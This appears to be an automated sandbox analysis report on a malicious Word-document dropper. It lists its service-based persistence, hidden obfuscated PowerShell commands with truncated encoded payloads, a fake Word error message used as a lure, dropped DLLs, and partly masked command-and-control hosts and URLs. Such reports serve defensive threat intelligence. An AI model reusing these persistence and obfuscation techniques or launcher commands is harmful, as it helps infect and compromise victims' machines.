Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\pwkcuczvvolaepy.cwd] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\pwkcuczvvolaepy.cwd] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Tixsiouzzljioxgd\pwkcuczvvolaepy.cwd",ShowDialogA'
Creates the following services
- 'pwkcuczvvolaepy.cwd' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Tixsiouzzljioxgd\pwkcuczvvolaepy.cwd",ShowDialogA
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUA...
Modifies file system
Creates the following files
- %HOMEPATH%\wdduy2m\tmc1kuo\j70h.dll
Deletes the following files
- %WINDIR%\syswow64\tixsiouzzljioxgd\pwkcuczvvolaepy.cwd
Moves the following files
- from %HOMEPATH%\wdduy2m\tmc1kuo\j70h.dll to %WINDIR%\syswow64\tixsiouzzljioxgd\pwkcuczvvolaepy.cwd
Network activity
Connects to
- '71.##.196.159':80
- '69.#9.88.46':80
TCP
HTTP GET requests
- http://uh#.##cranes.com/ErrorPages/3/
HTTP POST requests
- http://69.#9.88.46/a0pvnn41k4/o41r6pqtpyfep/fi26d05z52l9w/
UDP
- DNS ASK sh####baazar.com
- DNS ASK my####nessevent.com
- DNS ASK uh#.##cranes.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0Ae...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\Wdduy2m\Tmc1kuo\J70H.dll ShowDialogA
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Tixsiouzzljioxgd\pwkcuczvvolaepy.cwd",ShowDialogA
